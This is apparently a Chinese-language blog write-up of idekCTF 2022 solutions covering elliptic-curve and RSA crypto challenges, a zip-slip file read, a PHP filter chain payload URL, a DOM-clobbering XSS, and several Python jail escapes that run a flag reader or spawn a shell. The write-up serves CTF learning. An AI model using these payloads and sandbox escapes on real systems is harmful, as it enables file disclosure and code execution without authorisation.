idekCTF 2022 WriteUps
這周在 TSJ 裡面參加了這場原本該去年辦的但是延期到現在才辦的 CTF,題目很有趣難度也不低。
crypto
ECRSA
1 | p, q = [random_prime(2^512, lbound = 2^511) for _ in range(2)] |
這邊有 M*e
T*e
和 (t,yt)
三個已知的點,取 resultant 就能得到
然後利用
1 | e = 3 |
Formal Security Poop
這題有個自己的 Elliptic Curve 實作,裡面完全沒檢查所以和 invalid
curve 有關。而題目本身有一個永久的 key
然後裡面有個用 session key sign 東西的功能,其中
再來 invalid curve 的部分可以一開始先把
唯一要注意的一點是我們並不知道
預先計算一些有 smooth order 的曲線:
1 | from sage.all import * |
然後利用那些資料去解:
1 | from sage.all import * |
從 flag 可以知道那個 key exchange 是 HMQV: A High-Performance Secure Diffie-Hellman Protocol,不過 HMQV 和 Koblitz 的關係我就不太清楚了,作者 writeup 最後面有些關於這個的連結。
Chronophobia
這題和 RSA timelock 有關,對於一個隨機的
另外題目有個 oracle
因為
1 | from sage.all import * |
我原本用了 defund/coppersmith 的
small_roots
都做不出來,但是換成了 joseph 的 Lattice-based
Cryptanalysis Toolkit 中的 small_roots
就很神奇的成功了。
另外據這題作者蛋捲所說,intended solution 是和 HNP with hidden multiplier 有關的,writeup 在此。
Finite Realm of Random
我連這題是什麼意思都不太懂,所以連解釋都無法解釋 QQ。能做出這題還是自己亂弄弄出來的,所以也請直接讀作者的 writeup。
1 | from random import choice, shuffle, randint |
Decidophobia
這題是一個 Oblivious Transfer 的題目,有個
Oblivious Transfer 會先生成
所以假設說想拿
Intended Solution
這題讓我想起的第一個題目是 zer0pts CTF 2022 -
OK 這題,它利用
仔細想一想會發現
所以在不超過的情況下
為了方便,
其中的
我這邊再把兩個多項式相乘得到:
這樣它 modulo
後來才發現其實我有沒用到的資訊,也就是
顯然
是一個一元二次多項式,一樣是在 modulo small_roots
就出來了,剩下就能分解整個
1 | from sage.all import * |
不過雖說最後那邊應該用 beta=0.66
,但我使用
beta=0.33
也能弄出答案,而且計算的速度還比較快,有點神奇。
Unintended Solution
後來和作者聊了一下他說 B6a 的 Mystiz 找到了另一個 Unintended Solution,問了一下也是很有趣。
首先直接取
為了一律都只用一個未知數
因為
1 | from sage.all import * |
web
SimpleFileServer
Symlink zip 的一個檔案到 /
就能任意讀檔 (Zip
slip),然後讀 config 可知需要用 server 的起動時間去得到
SECRET_KEY
,這部分可以從 server log
拿到,所以稍微爆破一下就能得到 SECRET_KEY
,最後把自己 sign
成 admin 拿 flag 即可。
1 | import hashlib |
Paywall
用這個或是這個串一串 PHP filter chain 即可。
1 | http://paywall.chal.idek.team:1337/?p=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.GBK.SJIS%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L5.UTF-32%7Cconvert.iconv.ISO88594.GB13000%7Cconvert.iconv.CP950.SHIFT_JISX0213%7Cconvert.iconv.UHC.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UNICODE%7Cconvert.iconv.ISIRI3342.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dflag |
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
JSON Beautifier
這題 code 量很少,但也是相當好玩的題目。
/static/js/main.js
:
1 | window.inputBox = document.getElementById('json-input'); |
顯然有個 innerHTML
的 XSS,但因為有 CSP
script-src 'unsafe-eval' 'self'; object-src 'none';
所以要想辦法觸發 eval
。
首先可以塞個 iframe srcdoc 在裡面再次載入
/static/js/main.js
,然後用 DOM clobbering 蓋
config.debug
就能讓他進入 eval
。
然而 output
是 JSON.stringify
出來的產物,所以沒辦法正常控制想要執行的 code,因此要找方法 clobbering
config.opts.cols
的內容。不過這邊沒辦法使用正常的 DOM
Clobbering 技巧直接控制 cols
,因為 MDN JSON.stringify
的這一句話要求說 cols
必須是 string
或是
number
才行:
If space is anything other than a string or number (can be either a primitive or a wrapper object) — for example, is null or not provided — no white space is used.
所以看來要找找看有沒有哪個元素有 cols
這個
attribute:
1 | Object.getOwnPropertyNames(window).filter(x => window[x]?.prototype?.hasOwnProperty('cols')) |
其中 textarea
的 cols
只能是數字,不過
frameset
的 cols
可以是
string
,所以可以用 frameset
來控制
cols
。
最後是 cols
還必須要在 10 個字元以內,因為 MDN 說:
If this is a string, the string (or the first 10 characters of the string, if it's longer than that) is inserted before every nested object or array.
所以 JSON.stringify([0], null, 'eval(name),')
會得到一個
syntax error:
1 | [ |
不過利用 JSON.stringify(['*/alert(1)//'], null, '/*')
的話就能得到
1 | [ |
由此就能 XSS 了。
1 | <script> |
其實上面那個
JSON.stringify([0], null, 'eval(name),')
只需要換成JSON.stringify([-1], null, 'eval(name)')
就行了,這麼簡單的東西我居然賽後才看到別人的討論才發現...
misc
pyjail
1 | #!/usr/bin/env python3 |
看到這個讓我想到 hsctf 9 - pass v2 的一個 unintended solution,所以用這個直接秒殺
1 | setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint() |
idek{9eece9b4de9380bc3a41777a8884c185}
Pyjail Revenge
1 | #!/usr/bin/env python3 |
可以看到對於我前一題的做法來說除了多擋了 globals
以外都沒差,而那個可以透過 unicode 繞過:
1 | setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint() |
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
其他在 Discord 看到的有趣解法:
@downgrade (Intended Solution):
1 | __import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s'))) |
@intrigus, @Robin:
1 | (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol")) |
@AdnanSlef:
1 | setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh') |
@lebr0nli:
@JoshL:
1 | setattr(__import__("__main__"), "blocklist", list()) |